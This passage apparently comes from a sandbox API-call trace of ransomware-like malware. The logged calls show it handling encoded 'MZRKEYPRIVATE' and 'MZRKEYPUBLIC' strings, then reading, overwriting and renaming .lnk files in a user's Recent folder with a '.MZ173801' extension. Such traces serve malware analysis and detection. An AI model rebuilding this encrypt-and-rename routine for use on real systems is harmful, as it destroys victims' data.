lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.894] GetCurrentThreadId () returned 0xab4 [0146.894] GetCurrentThreadId () returned 0xab4 [0146.894] GetCurrentThreadId () returned 0xab4 [0146.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253c12c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.894] GetCurrentThreadId () returned 0xab4 [0146.894] GetCurrentThreadId () returned 0xab4 [0146.895] GetCurrentThreadId () returned 0xab4 [0146.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LTq6n--dr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-ltq6n--dr.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.895] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.895] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.895] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x288 [0146.895] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.895] ReadFile (in: hFile=0x280, lpBuffer=0x2543f30, nNumberOfBytesToRead=0x288, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2543f30*, lpNumberOfBytesRead=0x19fa18*=0x288, lpOverlapped=0x0) returned 1 [0146.896] CloseHandle (hObject=0x280) returned 1 [0146.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LTq6n--dr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-ltq6n--dr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.897] WriteFile (in: hFile=0x280, lpBuffer=0x2545f60*, nNumberOfBytesToWrite=0x288, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2545f60*, lpNumberOfBytesWritten=0x19fa24*=0x288, lpOverlapped=0x0) returned 1 [0146.897] CloseHandle (hObject=0x280) returned 1 [0146.898] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LTq6n--dr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-ltq6n--dr.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LTq6n--dr.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-ltq6n--dr.lnk.mz173801")) returned 1 [0146.899] GetCurrentThreadId () returned 0xab4 [0146.899] GetCurrentThreadId () returned 0xab4 [0146.899] GetCurrentThreadId () returned 0xab4 [0146.899] GetCurrentThreadId () returned 0xab4 [0146.899] GetCurrentThreadId () returned 0xab4 [0146.899] GetCurrentThreadId () returned 0xab4 [0146.899] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b733626, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b733626, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b733626, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x57a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="0anbzC4wy3QV.lnk", cAlternateFileName="0ANBZC~1.LNK")) returned 1 [0146.899] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.899] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.899] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0anbzC4wy3QV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0anbzc4wy3qv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b733626, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b733626, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b733626, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x57a)) returned 1 [0146.900] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0anbzC4wy3QV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0anbzc4wy3qv.lnk")) returned 0x20 [0146.900] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0anbzC4wy3QV.lnk", dwFileAttributes=0x80) returned 1 [0146.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252b0cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0146.902] GetCurrentThreadId () returned 0xab4 [0146.902] GetCurrentThreadId () returned 0xab4 [0146.902] GetCurrentThreadId () returned 0xab4 [0146.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 